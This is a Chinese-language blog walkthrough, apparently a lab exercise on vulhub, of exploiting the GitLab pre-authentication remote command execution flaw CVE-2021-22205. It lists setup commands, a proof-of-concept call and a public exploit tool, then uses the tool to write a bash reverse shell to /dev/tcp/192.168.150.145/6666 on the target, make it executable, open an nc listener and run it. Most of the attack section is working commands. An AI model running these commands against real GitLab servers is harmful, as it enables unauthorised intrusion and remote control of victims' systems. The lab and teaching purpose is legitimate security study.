GitLab 预身份验证远程命令执行 (CVE-2021-22205)

漏洞介绍:GitLab 是一个基于 Web 的 DevOps 生命周期工具,它提供了一个 Git 存储库管理器,提供 wiki、问题跟踪以及持续集成和部署管道功能。

在 GitLab CE/EE 中发现影响 11.9 开始版本的问题。GitLab 未正确验证传递给文件解析器的图像文件,从而导致未经身份验证的远程命令执行。

实验步骤

环境搭建

漏洞环境使用vulhub搭建,漏洞目录为 vulhub/gitlab/CVE-2021-22205/

拉取镜像启动容器:docker-compose up -d

查看端口:docker ps

环境启动后,访问http://IP:8080即可查看到GitLab的登录页面

下载漏洞利用需要的工具并放入攻击机中:

vulhub/gitlab/CVE-2021-22205/poc.py at master · vulhub/vulhub · GitHub

使用poc.py来测试漏洞,在/tmp路径下创建一个success文件:

python poc.py http://your-ip:8080 "touch /tmp/success

回到靶机进入容器可以看到touch /tmp/success已成功执行

漏洞利用

下载工具并放入攻击机:https://github.com/Al1ex/CVE-2021-22205

检查目标是否存在漏洞:python CVE-2021-22205.py -v true -t http://192.168.150.144:8080

在攻击机上利用该工具在目标服务器内写入反弹shell脚本:

python CVE-2021-22205.py -a true -t http://192.168.150.144:8080/ -c "echo 'bash -i >& /dev/tcp/192.168.150.145/6666 0>&1' > /tmp/shell.sh"

回到靶机进入容器可以看到查看shell脚本创建成功

在攻击机上执行命令修改shell.sh权限使其可执行:

python CVE-2021-22205.py -a true -t http://192.168.150.144:8080/ -c "chmod +x /tmp/shell.sh"

攻击机上开启端口监听:nc -lvvp 6666

在攻击机上执行命令使shell.sh文件在目标主机上运行:

python CVE-2021-22205.py -a true -t http://192.168.150.144:8080/ -c "/bin/bash /tmp/shell.sh"

执行脚本后,可以在监听端口中观察到反弹shell成功

  • 5
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值